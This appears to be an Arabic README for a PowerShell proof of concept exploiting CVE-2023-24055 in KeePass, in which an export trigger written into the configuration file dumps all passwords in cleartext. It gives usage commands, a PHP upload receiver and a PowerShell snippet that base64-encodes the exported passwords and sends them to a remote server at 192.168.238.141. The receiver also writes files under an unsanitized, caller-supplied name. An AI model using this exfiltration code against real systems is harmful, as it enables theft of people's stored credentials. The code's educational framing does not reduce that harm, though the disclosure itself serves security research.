
CVE-2023-24055 POC مكتوب بلغة PowerShell.

هذا السكربت مخصص لأغراض تعليمية وعرضية فقط. لا يؤيد المؤلف استخدام هذا السكربت في أي أنشطة إجرامية أو خبيثة، ويجب استخدامه فقط حيث يُسمح بذلك صراحةً وبإذن مناسب.
يجب استخدام هذا السكربت بحذر، حيث إنه سيعدّل ملف تهيئة KeePass ويحذف أي مشغّلات (triggers) تم تكوينها مسبقًا. قد يؤدي استخدام هذا السكربت إلى سلوك غير متوقع وربما كسر تطبيق KeePass. استخدمه على مسؤوليتك الخاصة.
يوضح هذا السكربت الثغرة الأمنية ** المُتنازَع عليها ** (CVE-2023-24055) في KeePass حتى الإصدار 2.53 (في التثبيت الافتراضي)، حيث تسمح لمهاجم لديه حق الوصول للكتابة إلى ملف تهيئة XML بالحصول على كلمات المرور بالنص الصريح عن طريق إضافة مشغّل تصدير. لاحظ أن موقف البائع هو أن قاعدة بيانات كلمات المرور ليست مصممة لتكون آمنة ضد مهاجم لديه ذلك المستوى من الوصول إلى الكمبيوتر الشخصي.
المراجع:
لاستخدام هذا السكربت، قم بتشغيله في PowerShell ووفّر المعاملات اللازمة. المعاملات الإلزامية هي:
-filename: المسار الكامل واسم الملف الذي ستُصدَّر إليه كلمات المرور.المعاملات الاختيارية هي:
-uploadURL: يُستخدم هذا المفتاح لتحديد أن البيانات يجب أن تُرفع إلى عنوان URL المحدد.-url: عنوان URL الذي يجب رفع البيانات إليه.تصدير كلمات المرور بالنص الصريح:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt
تصدير كلمات المرور بالنص الصريح ورفع ملف التصدير إلى خادم الويب:
.\KlearPass.ps1 -filename c:\windows\tasks\export.txt -uploadURL http://192.168.238.141/KeePass/upload.php
مساعدة مفصلة:
get-help .\KlearPass.ps1 -Detailed
<?php
if (!empty($_POST['filename']) && !empty($_POST['data'])) {
$target_directory = '/var/www/html/KeePass/uploads/';
$filename = $target_directory . $_POST['filename'];
$data = base64_decode($_POST['data']);
file_put_contents($filename, $data);
}
?>
$filename = "c:\windows\tasks\export.txt";
$file = [System.IO.Path]::GetFileName($filename);
$encodedFile = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([System.IO.File]::ReadAllText($filename)));
$http = New-Object System.Net.WebClient;
$http.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
$http.UploadString("http://192.168.238.141/KeePass/upload.php", "filename=$file&data=$encodedFile");